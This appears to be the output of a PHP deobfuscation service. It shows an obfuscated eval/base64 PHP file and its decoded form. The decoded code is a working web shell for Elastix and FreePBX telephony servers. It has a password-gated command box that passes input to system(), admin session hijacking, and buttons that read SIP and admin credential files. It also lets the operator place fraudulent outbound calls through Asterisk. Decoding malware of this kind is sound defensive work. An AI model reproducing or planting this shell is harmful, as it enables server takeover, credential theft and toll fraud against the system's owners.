Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*aqsV54W7e7Q0sbASd3NYO9zS*/eval/*NtXLMcLXDdSIiO*/(base64_decode/*QwWGwoS6*/('c2Vzc2..
Decoded Output download
session_start();
if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == '4a08da15789583f4b5f5c7534907a6c8') {
$_SESSION['looki'] = 'logged';
}
if (!isset($_SESSION['looki'])) {
echo '<form action="" method="post">';
echo '<input type="text" name="md5" size="32" />';
echo '<input type="submit" name="JOMANGY" value="JOMANGY" /> ';
echo '</form>';
echo '<? -- ((/*91.223.130.126*/)) -- ?>';
exit();
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') {
session_destroy();
session_name("elastixSession");
session_start();
$_SESSION['looki'] = 'logged';
include_once "/var/www/html/libs/paloSantoDB.class.php";
include_once "/var/www/html/libs/paloSantoACL.class.php";
$pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
header("Location: /index.php");
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') {
if (!@include_once (getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
include_once ('/etc/asterisk/freepbx.conf');
}
require_once ('/var/www/html/admin/libraries/ampuser.class.php');
$_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']);
$_SESSION['AMP_user']->setAdmin();
header("Location: /admin/config.php");
}
echo base64_decode('PGgxIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij5KT01BTkdZUlVOTkVSPC9oMT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICA8Yj5DQUxMPC9iPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29udGV4dCIgdmFsdWU9ImFzdGVyaXNrLW91dGNhbGxzIiAvPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRpbWUiIHZhbHVlPSI2MCIgLz4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwcnMiIHZhbHVlPSIwMCIgLz4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW0iIHBsYWNlaG9sZGVyPSJudW1iZXIiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjYWxsIiB2YWx1ZT0iY2FsbCIgLz4KPC9mb3JtPjxiciAvPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiA+CiAgICA8Yj5DTUQ8L2I+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9InN1ZG8gcmVib290IiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvYXN0ZXJpc2svcGpzaXAucmVnaXN0cmF0aW9uLmNvbmYiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJhc3RlcmlzayAtcnggJ2NvcmUgc2hvdyBjaGFubmVscyciIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJhc3RlcmlzayAtcnggJ3NpcCBzaG93IHBlZXJzJyIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2VsYXN0aXguY29uZiIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FzdGVyaXNrL3NpcF9hZGRpdGlvbmFsLmNvbmYiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hc3Rlcmlzay9leHRlbnNpb25zX2N1c3RvbS5jb25mIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvYW1wb3J0YWwuY29uZiIgLz4KPC9mb3JtPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJnZXQiID4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImFkbWluIiB2YWx1ZT0iRWxhc3RpeCIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImFkbWluIiB2YWx1ZT0iRnJlZXBieCIgLz4KPC9mb3JtPgo8cHJlPg==');
if (isset($_REQUEST['cmd'])) {
echo system($_REQUEST['cmd']);
}
if (isset($_REQUEST['call'])) {
system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"');
}
echo '</pre>';
Did this file decode correctly?
Original Code
<?php /*aqsV54W7e7Q0sbASd3NYO9zS*/eval/*NtXLMcLXDdSIiO*/(base64_decode/*QwWGwoS6*/('c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICc0YTA4ZGExNTc4OTU4M2Y0YjVmNWM3NTM0OTA3YTZjOCcpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtZDUiIHNpemU9IjMyIiAvPic7CiAgICBlY2hvICc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJKT01BTkdZIiB2YWx1ZT0iSk9NQU5HWSIgLz4gJzsKICAgIGVjaG8gJzwvZm9ybT4nOwogICAgZWNobyAnPD8gLS0gICgoLyo5MS4yMjMuMTMwLjEyNiovKSkgLS0gPz4nOwogICAgZXhpdCgpOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2FkbWluJ10pICYmICRfUkVRVUVTVFsnYWRtaW4nXSA9PSAnRWxhc3RpeCcpIHsKICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgc2Vzc2lvbl9uYW1lKCJlbGFzdGl4U2Vzc2lvbiIpOwogICAgc2Vzc2lvbl9zdGFydCgpOwogICAgJF9TRVNTSU9OWydsb29raSddID0gJ2xvZ2dlZCc7CiAgICBpbmNsdWRlX29uY2UgIi92YXIvd3d3L2h0bWwvbGlicy9wYWxvU2FudG9EQi5jbGFzcy5waHAiOwogICAgaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvQUNMLmNsYXNzLnBocCI7CiAgICAkcERCID0gbmV3IHBhbG9EQigic3FsaXRlMzovLy8vdmFyL3d3dy9kYi9hY2wuZGIiKTsKICAgICRkYiA9ICRwREItPmZldGNoVGFibGUoIlNFTEVDVCBuYW1lLCBtZDVfcGFzc3dvcmQsZXh0ZW5zaW9uIGZyb20gYWNsX3VzZXIgV0hFUkUgaWQgPScxJyIpOwogICAgJF9TRVNTSU9OWydlbGFzdGl4X3VzZXInXSA9ICRkYlswXVswXTsKICAgICRfU0VTU0lPTlsnZWxhc3RpeF9wYXNzJ10gPSAkZGJbMF1bMV07CiAgICBoZWFkZXIoIkxvY2F0aW9uOiAvaW5kZXgucGhwIik7Cn0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWRtaW4nXSkgJiYgJF9SRVFVRVNUWydhZG1pbiddID09ICdGcmVlcGJ4JykgewogICAgaWYgKCFAaW5jbHVkZV9vbmNlIChnZXRlbnYoJ0ZSRUVQQlhfQ09ORicpID8gZ2V0ZW52KCdGUkVFUEJYX0NPTkYnKSA6ICcvZXRjL2ZyZWVwYnguY29uZicpKSB7CiAgICAgICAgaW5jbHVkZV9vbmNlICgnL2V0Yy9hc3Rlcmlzay9mcmVlcGJ4LmNvbmYnKTsKICAgIH0KICAgIHJlcXVpcmVfb25jZSAoJy92YXIvd3d3L2h0bWwvYWRtaW4vbGlicmFyaWVzL2FtcHVzZXIuY2xhc3MucGhwJyk7CiAgICAkX1NFU1NJT05bJ0FNUF91c2VyJ10gPSBuZXcgYW1wdXNlcigkYW1wX2NvbmZbJ0FNUERCVVNFUiddKTsKICAgICRfU0VTU0lPTlsnQU1QX3VzZXInXS0+c2V0QWRtaW4oKTsKICAgIGhlYWRlcigiTG9jYXRpb246IC9hZG1pbi9jb25maWcucGhwIik7Cn0KCmVjaG8gYmFzZTY0X2RlY29kZSgnUEdneElITjBlV3hsUFNKMFpYaDBMV0ZzYVdkdU9pQmpaVzUwWlhJN0lqNUtUMDFCVGtkWlVsVk9Ua1ZTUEM5b01UNEtQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0krQ2lBZ0lDQThZajVEUVV4TVBDOWlQaUE4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYm1GdFpUMGlZMjl1ZEdWNGRDSWdkbUZzZFdVOUltRnpkR1Z5YVhOckxXOTFkR05oYkd4eklpQXZQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW5ScGJXVWlJSFpoYkhWbFBTSTJNQ0lnTHo0S0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSndjbk1pSUhaaGJIVmxQU0l3TUNJZ0x6NEtJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBTSjBaWGgwSWlCdVlXMWxQU0p1ZFcwaUlIQnNZV05sYUc5c1pHVnlQU0p1ZFcxaVpYSWlJQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmpZV3hzSWlCMllXeDFaVDBpWTJGc2JDSWdMejRLUEM5bWIzSnRQanhpY2lBdlBnbzhabTl5YlNCaFkzUnBiMjQ5SWlJZ2JXVjBhRzlrUFNKd2IzTjBJaUErQ2lBZ0lDQThZajVEVFVROEwySStDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpWTIxa0lpQnphWHBsUFNjNE1DY2dMejRLSUNBZ0lEeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltVjRaV04xZEdVaUlIWmhiSFZsUFNKRmVHVmpkWFJsSWlBdlBpQThhSElnTHo0S0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbU50WkNJZ2RtRnNkV1U5SW5OMVpHOGdjbVZpYjI5MElpQXZQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaVkyMWtJaUIyWVd4MVpUMGlZMkYwSUM5bGRHTXZZWE4wWlhKcGMyc3ZjR3B6YVhBdWNtVm5hWE4wY21GMGFXOXVMbU52Ym1ZaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKamJXUWlJSFpoYkhWbFBTSmhjM1JsY21semF5QXRjbmdnSjJOdmNtVWdjMmh2ZHlCamFHRnVibVZzY3ljaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKamJXUWlJSFpoYkhWbFBTSmhjM1JsY21semF5QXRjbmdnSjNOcGNDQnphRzkzSUhCbFpYSnpKeUlnTHo0S0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbU50WkNJZ2RtRnNkV1U5SW1OaGRDQXZaWFJqTDJWc1lYTjBhWGd1WTI5dVppSWdMejRLSUNBZ0lEeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbU5oZENBdlpYUmpMMkZ6ZEdWeWFYTnJMM05wY0Y5aFpHUnBkR2x2Ym1Gc0xtTnZibVlpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKallYUWdMMlYwWXk5aGMzUmxjbWx6YXk5bGVIUmxibk5wYjI1elgyTjFjM1J2YlM1amIyNW1JaUF2UGdvZ0lDQWdQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYm1GdFpUMGlZMjFrSWlCMllXeDFaVDBpWTJGMElDOWxkR012WVcxd2IzSjBZV3d1WTI5dVppSWdMejRLUEM5bWIzSnRQZ284Wm05eWJTQmhZM1JwYjI0OUlpSWdiV1YwYUc5a1BTSm5aWFFpSUQ0S0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbUZrYldsdUlpQjJZV3gxWlQwaVJXeGhjM1JwZUNJZ0x6NEtJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW1Ga2JXbHVJaUIyWVd4MVpUMGlSbkpsWlhCaWVDSWdMejRLUEM5bWIzSnRQZ284Y0hKbFBnPT0nKTsKaWYgKGlzc2V0KCRfUkVRVUVTVFsnY21kJ10pKSB7CiAgICBlY2hvIHN5c3RlbSgkX1JFUVVFU1RbJ2NtZCddKTsKfQppZiAoaXNzZXQoJF9SRVFVRVNUWydjYWxsJ10pKSB7CiAgICBzeXN0ZW0oJ2FzdGVyaXNrIC1yeCAiY2hhbm5lbCBvcmlnaW5hdGUgTG9jYWwvJyAuICRfUkVRVUVTVFsncHJzJ10gLiAkX1JFUVVFU1RbJ251bSddIC4gJ0AnIC4gJF9SRVFVRVNUWydjb250ZXh0J10gLiAnIGFwcGxpY2F0aW9uIHdhaXQgJyAuICRfUkVRVUVTVFsndGltZSddIC4gJyInKTsKfQplY2hvICc8L3ByZT4nOw=='));/*g6a34YdDQ07OMT1xQ*/?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | a2f7befb812de21949946d870713cafa |
| Eval Count | 1 |
| Decode Time | 63 ms |